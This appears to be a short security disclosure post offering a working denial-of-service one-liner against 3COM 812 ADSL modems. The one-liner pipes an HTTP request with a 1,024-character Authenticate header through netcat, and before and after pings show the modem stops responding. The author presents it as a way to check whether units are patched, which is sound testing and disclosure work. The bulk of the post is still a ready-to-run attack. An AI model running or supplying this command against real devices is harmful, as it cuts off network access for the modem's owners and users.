Amusing simple one-liner that shows that 3COM 812 ADSL modems are still susceptible to 4 year old denial of service attacks.
26aae1a7af5d89cbe48405ff5017b10bf4bc1bca154fd25e8194f64e0b22955e
The description made it easy to create this one. Needed this to confirm
if some 2.10-branded products were in fact patched and warranted
replacing. Considering there was four years of warning and there are
still tons of boxes with this problem, please, people, get your systems
pen-tested.
http://www.securityfocus.com/bid/1290/discussion/
http://www.securityfocus.com/bid/1290/exploit/ (none yet)
http://www.allegrosoft.com/rpproduct.html
$ ip_address="some.ip.add.ress"
$ ping $ip_address # works
the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80
$ ping $ip_address # doesn't work
Tested against a 3com 812 adsl modem.
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Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
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